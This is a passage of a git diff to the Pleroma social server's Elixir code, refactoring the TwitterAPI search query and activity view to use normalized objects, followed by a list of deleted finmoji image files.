	json(conn, %{status: "success"})
	end
	end

	def follow_import(conn, %{"list" => %Plug.Upload{} = listfile}) do
	follow_import(conn, %{"list" => File.read!(listfile.path)})
	end

	def follow_import(%{assigns: %{user: follower}} = conn, %{"list" => list}) do
	with lines <- String.split(list, "\n"),
	followed_identifiers <-
	Enum.map(lines, fn line ->
	String.split(line, ",") \|> List.first()
	end)
	\|> List.delete("Account address"),
	{:ok, _} = Task.start(fn -> User.follow_import(follower, followed_identifiers) end) do
	json(conn, "job started")
	end
	end

	def blocks_import(conn, %{"list" => %Plug.Upload{} = listfile}) do
	blocks_import(conn, %{"list" => File.read!(listfile.path)})
	end

	def blocks_import(%{assigns: %{user: blocker}} = conn, %{"list" => list}) do
	with blocked_identifiers <- String.split(list),
	{:ok, _} = Task.start(fn -> User.blocks_import(blocker, blocked_identifiers) end) do
	json(conn, "job started")
	end
	end

	def change_password(%{assigns: %{user: user}} = conn, params) do
	case CommonAPI.Utils.confirm_current_password(user, params["password"]) do
	{:ok, user} ->
	with {:ok, _user} <-
	User.reset_password(user, %{
	password: params["new_password"],
	password_confirmation: params["new_password_confirmation"]
	}) do
	json(conn, %{status: "success"})
	else
	{:error, changeset} ->
	{_, {error, _}} = Enum.at(changeset.errors, 0)
	json(conn, %{error: "New password #{error}."})

	_ ->
	json(conn, %{error: "Unable to change password."})
	end

	{:error, msg} ->
	json(conn, %{error: msg})
	end
	end

	def delete_account(%{assigns: %{user: user}} = conn, params) do
	case CommonAPI.Utils.confirm_current_password(user, params["password"]) do
	{:ok, user} ->
	Task.start(fn -> User.delete(user) end)
	json(conn, %{status: "success"})

	{:error, msg} ->
	json(conn, %{error: msg})
	end
	end

	def captcha(conn, _params) do
	json(conn, Pleroma.Captcha.new())
	end
	end
	diff --git a/lib/pleroma/web/twitter_api/twitter_api.ex b/lib/pleroma/web/twitter_api/twitter_api.ex
	index ff45ffcff..adeac6f3c 100644
	--- a/lib/pleroma/web/twitter_api/twitter_api.ex
	+++ b/lib/pleroma/web/twitter_api/twitter_api.ex
	@@ -1,302 +1,303 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.TwitterAPI do
	alias Pleroma.Activity
	alias Pleroma.Emails.Mailer
	alias Pleroma.Emails.UserEmail
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.UserInviteToken
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.TwitterAPI.UserView

	import Ecto.Query

	def create_status(%User{} = user, %{"status" => _} = data) do
	CommonAPI.post(user, data)
	end

	def delete(%User{} = user, id) do
	with %Activity{data: %{"type" => _type}} <- Activity.get_by_id(id),
	{:ok, activity} <- CommonAPI.delete(id, user) do
	{:ok, activity}
	end
	end

	def follow(%User{} = follower, params) do
	with {:ok, %User{} = followed} <- get_user(params) do
	CommonAPI.follow(follower, followed)
	end
	end

	def unfollow(%User{} = follower, params) do
	with {:ok, %User{} = unfollowed} <- get_user(params),
	{:ok, follower} <- CommonAPI.unfollow(follower, unfollowed) do
	{:ok, follower, unfollowed}
	end
	end

	def block(%User{} = blocker, params) do
	with {:ok, %User{} = blocked} <- get_user(params),
	{:ok, blocker} <- User.block(blocker, blocked),
	{:ok, _activity} <- ActivityPub.block(blocker, blocked) do
	{:ok, blocker, blocked}
	else
	err -> err
	end
	end

	def unblock(%User{} = blocker, params) do
	with {:ok, %User{} = blocked} <- get_user(params),
	{:ok, blocker} <- User.unblock(blocker, blocked),
	{:ok, _activity} <- ActivityPub.unblock(blocker, blocked) do
	{:ok, blocker, blocked}
	else
	err -> err
	end
	end

	def repeat(%User{} = user, ap_id_or_id) do
	with {:ok, _announce, %{data: %{"id" => id}}} <- CommonAPI.repeat(ap_id_or_id, user),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do
	{:ok, activity}
	end
	end

	def unrepeat(%User{} = user, ap_id_or_id) do
	with {:ok, _unannounce, %{data: %{"id" => id}}} <- CommonAPI.unrepeat(ap_id_or_id, user),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do
	{:ok, activity}
	end
	end

	def pin(%User{} = user, ap_id_or_id) do
	CommonAPI.pin(ap_id_or_id, user)
	end

	def unpin(%User{} = user, ap_id_or_id) do
	CommonAPI.unpin(ap_id_or_id, user)
	end

	def fav(%User{} = user, ap_id_or_id) do
	with {:ok, _fav, %{data: %{"id" => id}}} <- CommonAPI.favorite(ap_id_or_id, user),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do
	{:ok, activity}
	end
	end

	def unfav(%User{} = user, ap_id_or_id) do
	with {:ok, _unfav, _fav, %{data: %{"id" => id}}} <- CommonAPI.unfavorite(ap_id_or_id, user),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do
	{:ok, activity}
	end
	end

	def upload(%Plug.Upload{} = file, %User{} = user, format \\ "xml") do
	{:ok, object} = ActivityPub.upload(file, actor: User.ap_id(user))

	url = List.first(object.data["url"])
	href = url["href"]
	type = url["mediaType"]

	case format do
	"xml" ->
	# Fake this as good as possible...
	"""
	<?xml version="1.0" encoding="UTF-8"?>
	<rsp stat="ok" xmlns:atom="http://www.w3.org/2005/Atom">
	<mediaid>#{object.id}</mediaid>
	<media_id>#{object.id}</media_id>
	<media_id_string>#{object.id}</media_id_string>
	<media_url>#{href}</media_url>
	<mediaurl>#{href}</mediaurl>
	<atom:link rel="enclosure" href="#{href}" type="#{type}"></atom:link>
	</rsp>
	"""

	"json" ->
	%{
	media_id: object.id,
	media_id_string: "#{object.id}}",
	media_url: href,
	size: 0
	}
	\|> Jason.encode!()
	end
	end

	def register_user(params) do
	token = params["token"]

	params = %{
	nickname: params["nickname"],
	name: params["fullname"],
	bio: User.parse_bio(params["bio"]),
	email: params["email"],
	password: params["password"],
	password_confirmation: params["confirm"],
	captcha_solution: params["captcha_solution"],
	captcha_token: params["captcha_token"],
	captcha_answer_data: params["captcha_answer_data"]
	}

	captcha_enabled = Pleroma.Config.get([Pleroma.Captcha, :enabled])
	# true if captcha is disabled or enabled and valid, false otherwise
	captcha_ok =
	if !captcha_enabled do
	:ok
	else
	Pleroma.Captcha.validate(
	params[:captcha_token],
	params[:captcha_solution],
	params[:captcha_answer_data]
	)
	end

	# Captcha invalid
	if captcha_ok != :ok do
	{:error, error} = captcha_ok
	# I have no idea how this error handling works
	{:error, %{error: Jason.encode!(%{captcha: [error]})}}
	else
	registrations_open = Pleroma.Config.get([:instance, :registrations_open])
	registration_process(registrations_open, params, token)
	end
	end

	defp registration_process(registration_open, params, token)
	when registration_open == false or is_nil(registration_open) do
	invite =
	unless is_nil(token) do
	Repo.get_by(UserInviteToken, %{token: token})
	end

	valid_invite? = invite && UserInviteToken.valid_invite?(invite)

	case invite do
	nil ->
	{:error, "Invalid token"}

	invite when valid_invite? ->
	UserInviteToken.update_usage!(invite)
	create_user(params)

	_ ->
	{:error, "Expired token"}
	end
	end

	defp registration_process(true, params, _token) do
	create_user(params)
	end

	defp create_user(params) do
	changeset = User.register_changeset(%User{}, params)

	case User.register(changeset) do
	{:ok, user} ->
	{:ok, user}

	{:error, changeset} ->
	errors =
	Ecto.Changeset.traverse_errors(changeset, fn {msg, _opts} -> msg end)
	\|> Jason.encode!()

	{:error, %{error: errors}}
	end
	end

	def password_reset(nickname_or_email) do
	with true <- is_binary(nickname_or_email),
	%User{local: true} = user <- User.get_by_nickname_or_email(nickname_or_email),
	{:ok, token_record} <- Pleroma.PasswordResetToken.create_token(user) do
	user
	\|> UserEmail.password_reset_email(token_record.token)
	\|> Mailer.deliver_async()
	else
	false ->
	{:error, "bad user identifier"}

	%User{local: false} ->
	{:error, "remote user"}

	nil ->
	{:error, "unknown user"}
	end
	end

	def get_user(user \\ nil, params) do
	case params do
	%{"user_id" => user_id} ->
	case target = User.get_cached_by_nickname_or_id(user_id) do
	nil ->
	{:error, "No user with such user_id"}

	_ ->
	{:ok, target}
	end

	%{"screen_name" => nickname} ->
	case User.get_cached_by_nickname(nickname) do
	nil -> {:error, "No user with such screen_name"}
	target -> {:ok, target}
	end

	_ ->
	if user do
	{:ok, user}
	else
	{:error, "You need to specify screen_name or user_id"}
	end
	end
	end

	defp parse_int(string, default)

	defp parse_int(string, default) when is_binary(string) do
	with {n, _} <- Integer.parse(string) do
	n
	else
	_e -> default
	end
	end

	defp parse_int(_, default), do: default

	+ # TODO: unify the search query with MastoAPI one and do only pagination here
	def search(_user, %{"q" => query} = params) do
	limit = parse_int(params["rpp"], 20)
	page = parse_int(params["page"], 1)
	offset = (page - 1) * limit

	q =
	from(
	- a in Activity,
	+ [a, o] in Activity.with_preloaded_object(Activity),
	where: fragment("?->>'type' = 'Create'", a.data),
	where: "https://www.w3.org/ns/activitystreams#Public" in a.recipients,
	where:
	fragment(
	- "to_tsvector('english', ?->'object'->>'content') @@ plainto_tsquery('english', ?)",
	- a.data,
	+ "to_tsvector('english', ?->>'content') @@ plainto_tsquery('english', ?)",
	+ o.data,
	^query
	),
	limit: ^limit,
	offset: ^offset,
	# this one isn't indexed so psql won't take the wrong index.
	order_by: [desc: :inserted_at]
	)

	_activities = Repo.all(q)
	end

	def get_external_profile(for_user, uri) do
	with %User{} = user <- User.get_or_fetch(uri) do
	{:ok, UserView.render("show.json", %{user: user, for: for_user})}
	else
	_e ->
	{:error, "Couldn't find user"}
	end
	end
	end
	diff --git a/lib/pleroma/web/twitter_api/views/activity_view.ex b/lib/pleroma/web/twitter_api/views/activity_view.ex
	index ecb2b437b..c64152da8 100644
	--- a/lib/pleroma/web/twitter_api/views/activity_view.ex
	+++ b/lib/pleroma/web/twitter_api/views/activity_view.ex
	@@ -1,357 +1,359 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.ActivityView do
	use Pleroma.Web, :view
	alias Pleroma.Activity
	alias Pleroma.Formatter
	alias Pleroma.HTML
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.StatusView
	alias Pleroma.Web.TwitterAPI.ActivityView
	alias Pleroma.Web.TwitterAPI.Representers.ObjectRepresenter
	alias Pleroma.Web.TwitterAPI.UserView

	import Ecto.Query
	require Logger

	defp query_context_ids([]), do: []

	defp query_context_ids(contexts) do
	query = from(o in Object, where: fragment("(?)->>'id' = ANY(?)", o.data, ^contexts))

	Repo.all(query)
	end

	defp query_users([]), do: []

	defp query_users(user_ids) do
	query = from(user in User, where: user.ap_id in ^user_ids)

	Repo.all(query)
	end

	defp collect_context_ids(activities) do
	_contexts =
	activities
	\|> Enum.reject(& &1.data["context_id"])
	\|> Enum.map(fn %{data: data} ->
	data["context"]
	end)
	\|> Enum.filter(& &1)
	\|> query_context_ids()
	\|> Enum.reduce(%{}, fn %{data: %{"id" => ap_id}, id: id}, acc ->
	Map.put(acc, ap_id, id)
	end)
	end

	defp collect_users(activities) do
	activities
	\|> Enum.map(fn activity ->
	case activity.data do
	data = %{"type" => "Follow"} ->
	[data["actor"], data["object"]]

	data ->
	[data["actor"]]
	end ++ activity.recipients
	end)
	\|> List.flatten()
	\|> Enum.uniq()
	\|> query_users()
	\|> Enum.reduce(%{}, fn user, acc ->
	Map.put(acc, user.ap_id, user)
	end)
	end

	defp get_context_id(%{data: %{"context_id" => context_id}}, _) when not is_nil(context_id),
	do: context_id

	defp get_context_id(%{data: %{"context" => nil}}, _), do: nil

	defp get_context_id(%{data: %{"context" => context}}, options) do
	cond do
	id = options[:context_ids][context] -> id
	true -> Utils.context_to_conversation_id(context)
	end
	end

	defp get_context_id(_, _), do: nil

	defp get_user(ap_id, opts) do
	cond do
	user = opts[:users][ap_id] ->
	user

	String.ends_with?(ap_id, "/followers") ->
	nil

	ap_id == "https://www.w3.org/ns/activitystreams#Public" ->
	nil

	user = User.get_cached_by_ap_id(ap_id) ->
	user

	user = User.get_by_guessed_nickname(ap_id) ->
	user

	true ->
	User.error_user(ap_id)
	end
	end

	def render("index.json", opts) do
	context_ids = collect_context_ids(opts.activities)
	users = collect_users(opts.activities)

	opts =
	opts
	\|> Map.put(:context_ids, context_ids)
	\|> Map.put(:users, users)

	safe_render_many(
	opts.activities,
	ActivityView,
	"activity.json",
	opts
	)
	end

	def render("activity.json", %{activity: %{data: %{"type" => "Delete"}} = activity} = opts) do
	user = get_user(activity.data["actor"], opts)
	created_at = activity.data["published"] \|> Utils.date_to_asctime()

	%{
	"id" => activity.id,
	"uri" => activity.data["object"],
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"attentions" => [],
	"statusnet_html" => "deleted notice {{tag",
	"text" => "deleted notice {{tag",
	"is_local" => activity.local,
	"is_post_verb" => false,
	"created_at" => created_at,
	"in_reply_to_status_id" => nil,
	"external_url" => activity.data["id"],
	"activity_type" => "delete"
	}
	end

	def render("activity.json", %{activity: %{data: %{"type" => "Follow"}} = activity} = opts) do
	user = get_user(activity.data["actor"], opts)
	created_at = activity.data["published"] \|\| DateTime.to_iso8601(activity.inserted_at)
	created_at = created_at \|> Utils.date_to_asctime()

	followed = get_user(activity.data["object"], opts)
	text = "#{user.nickname} started following #{followed.nickname}"

	%{
	"id" => activity.id,
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"attentions" => [],
	"statusnet_html" => text,
	"text" => text,
	"is_local" => activity.local,
	"is_post_verb" => false,
	"created_at" => created_at,
	"in_reply_to_status_id" => nil,
	"external_url" => activity.data["id"],
	"activity_type" => "follow"
	}
	end

	def render("activity.json", %{activity: %{data: %{"type" => "Announce"}} = activity} = opts) do
	user = get_user(activity.data["actor"], opts)
	created_at = activity.data["published"] \|> Utils.date_to_asctime()
	announced_activity = Activity.get_create_by_object_ap_id(activity.data["object"])

	text = "#{user.nickname} retweeted a status."

	retweeted_status = render("activity.json", Map.merge(opts, %{activity: announced_activity}))

	%{
	"id" => activity.id,
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"statusnet_html" => text,
	"text" => text,
	"is_local" => activity.local,
	"is_post_verb" => false,
	"uri" => "tag:#{activity.data["id"]}:objectType=note",
	"created_at" => created_at,
	"retweeted_status" => retweeted_status,
	"statusnet_conversation_id" => get_context_id(announced_activity, opts),
	"external_url" => activity.data["id"],
	"activity_type" => "repeat"
	}
	end

	def render("activity.json", %{activity: %{data: %{"type" => "Like"}} = activity} = opts) do
	user = get_user(activity.data["actor"], opts)
	liked_activity = Activity.get_create_by_object_ap_id(activity.data["object"])
	liked_activity_id = if liked_activity, do: liked_activity.id, else: nil

	created_at =
	activity.data["published"]
	\|> Utils.date_to_asctime()

	text = "#{user.nickname} favorited a status."

	favorited_status =
	if liked_activity,
	do: render("activity.json", Map.merge(opts, %{activity: liked_activity})),
	else: nil

	%{
	"id" => activity.id,
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"statusnet_html" => text,
	"text" => text,
	"is_local" => activity.local,
	"is_post_verb" => false,
	"uri" => "tag:#{activity.data["id"]}:objectType=Favourite",
	"created_at" => created_at,
	"favorited_status" => favorited_status,
	"in_reply_to_status_id" => liked_activity_id,
	"external_url" => activity.data["id"],
	"activity_type" => "like"
	}
	end

	def render(
	"activity.json",
	- %{activity: %{data: %{"type" => "Create", "object" => object}} = activity} = opts
	+ %{activity: %{data: %{"type" => "Create", "object" => object_id}} = activity} = opts
	) do
	user = get_user(activity.data["actor"], opts)

	- created_at = object["published"] \|> Utils.date_to_asctime()
	- like_count = object["like_count"] \|\| 0
	- announcement_count = object["announcement_count"] \|\| 0
	- favorited = opts[:for] && opts[:for].ap_id in (object["likes"] \|\| [])
	- repeated = opts[:for] && opts[:for].ap_id in (object["announcements"] \|\| [])
	+ object = Object.normalize(object_id)
	+
	+ created_at = object.data["published"] \|> Utils.date_to_asctime()
	+ like_count = object.data["like_count"] \|\| 0
	+ announcement_count = object.data["announcement_count"] \|\| 0
	+ favorited = opts[:for] && opts[:for].ap_id in (object.data["likes"] \|\| [])
	+ repeated = opts[:for] && opts[:for].ap_id in (object.data["announcements"] \|\| [])
	pinned = activity.id in user.info.pinned_activities

	attentions =
	[]
	\|> Utils.maybe_notify_to_recipients(activity)
	\|> Utils.maybe_notify_mentioned_recipients(activity)
	\|> Enum.map(fn ap_id -> get_user(ap_id, opts) end)
	\|> Enum.filter(& &1)
	\|> Enum.map(fn user -> UserView.render("show.json", %{user: user, for: opts[:for]}) end)

	conversation_id = get_context_id(activity, opts)

	- tags = activity.data["object"]["tag"] \|\| []
	- possibly_sensitive = activity.data["object"]["sensitive"] \|\| Enum.member?(tags, "nsfw")
	+ tags = object.data["tag"] \|\| []
	+ possibly_sensitive = object.data["sensitive"] \|\| Enum.member?(tags, "nsfw")

	tags = if possibly_sensitive, do: Enum.uniq(["nsfw" \| tags]), else: tags

	- {summary, content} = render_content(object)
	+ {summary, content} = render_content(object.data)

	html =
	content
	\|> HTML.get_cached_scrubbed_html_for_activity(
	User.html_filter_policy(opts[:for]),
	activity,
	"twitterapi:content"
	)
	- \|> Formatter.emojify(object["emoji"])
	+ \|> Formatter.emojify(object.data["emoji"])

	text =
	if content do
	content
	\|> String.replace(~r/<br\s?\/?>/, "\n")
	\|> HTML.get_cached_stripped_html_for_activity(activity, "twitterapi:content")
	else
	""
	end

	reply_parent = Activity.get_in_reply_to_activity(activity)

	reply_user = reply_parent && User.get_cached_by_ap_id(reply_parent.actor)

	summary = HTML.strip_tags(summary)

	card =
	StatusView.render(
	"card.json",
	Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity)
	)

	%{
	"id" => activity.id,
	- "uri" => activity.data["object"]["id"],
	+ "uri" => object.data["id"],
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"statusnet_html" => html,
	"text" => text,
	"is_local" => activity.local,
	"is_post_verb" => true,
	"created_at" => created_at,
	"in_reply_to_status_id" => reply_parent && reply_parent.id,
	"in_reply_to_screen_name" => reply_user && reply_user.nickname,
	"in_reply_to_profileurl" => User.profile_url(reply_user),
	"in_reply_to_ostatus_uri" => reply_user && reply_user.ap_id,
	"in_reply_to_user_id" => reply_user && reply_user.id,
	"statusnet_conversation_id" => conversation_id,
	- "attachments" => (object["attachment"] \|\| []) \|> ObjectRepresenter.enum_to_list(opts),
	+ "attachments" => (object.data["attachment"] \|\| []) \|> ObjectRepresenter.enum_to_list(opts),
	"attentions" => attentions,
	"fave_num" => like_count,
	"repeat_num" => announcement_count,
	"favorited" => !!favorited,
	"repeated" => !!repeated,
	"pinned" => pinned,
	- "external_url" => object["external_url"] \|\| object["id"],
	+ "external_url" => object.data["external_url"] \|\| object.data["id"],
	"tags" => tags,
	"activity_type" => "post",
	"possibly_sensitive" => possibly_sensitive,
	"visibility" => StatusView.get_visibility(object),
	"summary" => summary,
	- "summary_html" => summary \|> Formatter.emojify(object["emoji"]),
	+ "summary_html" => summary \|> Formatter.emojify(object.data["emoji"]),
	"card" => card,
	"muted" => CommonAPI.thread_muted?(user, activity) \|\| User.mutes?(opts[:for], user)
	}
	end

	def render("activity.json", %{activity: unhandled_activity}) do
	Logger.warn("#{__MODULE__} unhandled activity: #{inspect(unhandled_activity)}")
	nil
	end

	def render_content(%{"type" => "Note"} = object) do
	summary = object["summary"]

	content =
	if !!summary and summary != "" do
	"<p>#{summary}</p>#{object["content"]}"
	else
	object["content"]
	end

	{summary, content}
	end

	def render_content(%{"type" => object_type} = object)
	when object_type in ["Article", "Page", "Video"] do
	summary = object["name"] \|\| object["summary"]

	content =
	if !!summary and summary != "" and is_bitstring(object["url"]) do
	"<p><a href=\"#{object["url"]}\">#{summary}</a></p>#{object["content"]}"
	else
	object["content"]
	end

	{summary, content}
	end

	def render_content(object) do
	summary = object["summary"] \|\| "Unhandled activity type: #{object["type"]}"
	content = "<p>#{summary}</p>#{object["content"]}"

	{summary, content}
	end
	end
	diff --git a/priv/static/finmoji/1000px/a_trusted_friend.png b/priv/static/finmoji/1000px/a_trusted_friend.png
	deleted file mode 100644
	index 5658d589c..000000000
	Binary files a/priv/static/finmoji/1000px/a_trusted_friend.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/alandislands.png b/priv/static/finmoji/1000px/alandislands.png
	deleted file mode 100644
	index 094dd3284..000000000
	Binary files a/priv/static/finmoji/1000px/alandislands.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/association.png b/priv/static/finmoji/1000px/association.png
	deleted file mode 100644
	index dad3b8864..000000000
	Binary files a/priv/static/finmoji/1000px/association.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/auroraborealis.png b/priv/static/finmoji/1000px/auroraborealis.png
	deleted file mode 100644
	index 5875dc2c4..000000000
	Binary files a/priv/static/finmoji/1000px/auroraborealis.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/baby_in_a_box.png b/priv/static/finmoji/1000px/baby_in_a_box.png
	deleted file mode 100644
	index 9479aaebb..000000000
	Binary files a/priv/static/finmoji/1000px/baby_in_a_box.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/bear.png b/priv/static/finmoji/1000px/bear.png
	deleted file mode 100644
	index 5d9fbb320..000000000
	Binary files a/priv/static/finmoji/1000px/bear.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/black_gold.png b/priv/static/finmoji/1000px/black_gold.png
	deleted file mode 100644
	index 707e949ec..000000000
	Binary files a/priv/static/finmoji/1000px/black_gold.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/christmasparty.png b/priv/static/finmoji/1000px/christmasparty.png
	deleted file mode 100644
	index 785decb8d..000000000
	Binary files a/priv/static/finmoji/1000px/christmasparty.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/crosscountryskiing.png b/priv/static/finmoji/1000px/crosscountryskiing.png
	deleted file mode 100644
	index 2a9bddf41..000000000
	Binary files a/priv/static/finmoji/1000px/crosscountryskiing.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/cupofcoffee.png b/priv/static/finmoji/1000px/cupofcoffee.png
	deleted file mode 100644
	index a12cc867c..000000000
	Binary files a/priv/static/finmoji/1000px/cupofcoffee.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/education.png b/priv/static/finmoji/1000px/education.png
	deleted file mode 100644
	index af9feee59..000000000
	Binary files a/priv/static/finmoji/1000px/education.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/fashionista_finns.png b/priv/static/finmoji/1000px/fashionista_finns.png
	deleted file mode 100644
	index d1140250d..000000000
	Binary files a/priv/static/finmoji/1000px/fashionista_finns.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/finnishlove.png b/priv/static/finmoji/1000px/finnishlove.png
	deleted file mode 100644
	index 00148202f..000000000
	Binary files a/priv/static/finmoji/1000px/finnishlove.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/flag.png b/priv/static/finmoji/1000px/flag.png
	deleted file mode 100644
	index e709449d7..000000000
	Binary files a/priv/static/finmoji/1000px/flag.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/forest.png b/priv/static/finmoji/1000px/forest.png
	deleted file mode 100644
	index b2d64ea37..000000000
	Binary files a/priv/static/finmoji/1000px/forest.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/four_seasons_of_bbq.png b/priv/static/finmoji/1000px/four_seasons_of_bbq.png
	deleted file mode 100644
	index 42f4a7fb7..000000000
	Binary files a/priv/static/finmoji/1000px/four_seasons_of_bbq.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/girlpower.png b/priv/static/finmoji/1000px/girlpower.png
	deleted file mode 100644
	index 7674f2e26..000000000
	Binary files a/priv/static/finmoji/1000px/girlpower.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/handshake.png b/priv/static/finmoji/1000px/handshake.png
	deleted file mode 100644
	index d9857d699..000000000
	Binary files a/priv/static/finmoji/1000px/handshake.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/happiness.png b/priv/static/finmoji/1000px/happiness.png
	deleted file mode 100644
	index fbfc34fe4..000000000
	Binary files a/priv/static/finmoji/1000px/happiness.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/headbanger.png b/priv/static/finmoji/1000px/headbanger.png
	deleted file mode 100644
	index d9c2f6247..000000000
	Binary files a/priv/static/finmoji/1000px/headbanger.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/icebreaker.png b/priv/static/finmoji/1000px/icebreaker.png
	deleted file mode 100644
	index aedce3dca..000000000
	Binary files a/priv/static/finmoji/1000px/icebreaker.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/iceman.png b/priv/static/finmoji/1000px/iceman.png
	deleted file mode 100644
	index c172e60d5..000000000
	Binary files a/priv/static/finmoji/1000px/iceman.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/joulutorttu.png b/priv/static/finmoji/1000px/joulutorttu.png
	deleted file mode 100644
	index d7b5a7e53..000000000
	Binary files a/priv/static/finmoji/1000px/joulutorttu.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/kaamos.png b/priv/static/finmoji/1000px/kaamos.png
	deleted file mode 100644
	index 139b21953..000000000
	Binary files a/priv/static/finmoji/1000px/kaamos.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/kalsarikannit_f.png b/priv/static/finmoji/1000px/kalsarikannit_f.png
	deleted file mode 100644
	index 064c86160..000000000
	Binary files a/priv/static/finmoji/1000px/kalsarikannit_f.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/kalsarikannit_m.png b/priv/static/finmoji/1000px/kalsarikannit_m.png
	deleted file mode 100644
	index e08bd27af..000000000
	Binary files a/priv/static/finmoji/1000px/kalsarikannit_m.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/karjalanpiirakka.png b/priv/static/finmoji/1000px/karjalanpiirakka.png
	deleted file mode 100644
	index dbf647df5..000000000
	Binary files a/priv/static/finmoji/1000px/karjalanpiirakka.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/kicksled.png b/priv/static/finmoji/1000px/kicksled.png
	deleted file mode 100644
	index 305a56f77..000000000
	Binary files a/priv/static/finmoji/1000px/kicksled.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/kokko.png b/priv/static/finmoji/1000px/kokko.png
	deleted file mode 100644
	index 0a5472c9a..000000000
	Binary files a/priv/static/finmoji/1000px/kokko.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/lavatanssit.png b/priv/static/finmoji/1000px/lavatanssit.png
	deleted file mode 100644
	index a1f0a69dd..000000000
	Binary files a/priv/static/finmoji/1000px/lavatanssit.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/losthopes_f.png b/priv/static/finmoji/1000px/losthopes_f.png
	deleted file mode 100644
	index a847df3c5..000000000
	Binary files a/priv/static/finmoji/1000px/losthopes_f.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/losthopes_m.png b/priv/static/finmoji/1000px/losthopes_m.png
	deleted file mode 100644
	index 93c83b995..000000000
	Binary files a/priv/static/finmoji/1000px/losthopes_m.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/mattinykanen.png b/priv/static/finmoji/1000px/mattinykanen.png
	deleted file mode 100644
	index 2d9c9d38f..000000000
	Binary files a/priv/static/finmoji/1000px/mattinykanen.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/meanwhileinfinland.png b/priv/static/finmoji/1000px/meanwhileinfinland.png
	deleted file mode 100644
	index 794db1eed..000000000
	Binary files a/priv/static/finmoji/1000px/meanwhileinfinland.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/moominmamma.png b/priv/static/finmoji/1000px/moominmamma.png
	deleted file mode 100644
	index d34b1b98b..000000000
	Binary files a/priv/static/finmoji/1000px/moominmamma.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/nordicfamily.png b/priv/static/finmoji/1000px/nordicfamily.png
	deleted file mode 100644
	index 21292eaff..000000000
	Binary files a/priv/static/finmoji/1000px/nordicfamily.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/out_of_office.png b/priv/static/finmoji/1000px/out_of_office.png
	deleted file mode 100644
	index b72d6dbd5..000000000
	Binary files a/priv/static/finmoji/1000px/out_of_office.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/peacemaker.png b/priv/static/finmoji/1000px/peacemaker.png
	deleted file mode 100644
	index 48a51fa6f..000000000
	Binary files a/priv/static/finmoji/1000px/peacemaker.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/perkele.png b/priv/static/finmoji/1000px/perkele.png
	deleted file mode 100644
	index 16a68d053..000000000
	Binary files a/priv/static/finmoji/1000px/perkele.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/pesapallo.png b/priv/static/finmoji/1000px/pesapallo.png
	deleted file mode 100644
	index 2f35c8e02..000000000
	Binary files a/priv/static/finmoji/1000px/pesapallo.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/polarbear.png b/priv/static/finmoji/1000px/polarbear.png
	deleted file mode 100644
	index ce6c65e8b..000000000
	Binary files a/priv/static/finmoji/1000px/polarbear.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/pusa_hispida_saimensis.png b/priv/static/finmoji/1000px/pusa_hispida_saimensis.png
	deleted file mode 100644
	index 35ec8caed..000000000
	Binary files a/priv/static/finmoji/1000px/pusa_hispida_saimensis.png and /dev/null differ
